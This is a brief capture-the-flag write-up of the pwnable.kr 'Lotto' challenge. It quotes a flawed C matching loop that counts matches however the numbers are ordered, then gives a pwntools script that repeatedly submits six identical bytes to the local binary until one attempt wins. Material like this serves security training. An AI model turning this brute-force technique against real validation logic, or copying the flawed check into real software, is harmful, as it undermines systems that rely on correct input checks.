pwnable.kr Lotto

Here, we have lotto program, however, while checking if our input is a match, it uses the following piece of code:

int match = 0, j = 0;
for(i=0; i<6; i++){
    for(j=0; j<6; j++){
        if(lotto[i] == submit[j]){
            match++;
        }
    }
}

Basically, it intends to check whether the numbers are a match regardless of the order. But here, if we provide an array of all ones, then if there is a one in the random array, then we get a pass.

from pwn import *
 
p = process("./lotto")
while True:
    p.recvuntil("-")
    p.clean()
    p.sendline("1")
    p.recvuntil("bytes :")
    p.sendline("\x01\x01\x01\x01\x01\x01")
    p.recvuntil("Start!\n")
    s = p.recvline()
 
    if s != b'bad luck...\n':
        print(s)
        break
 
p.close()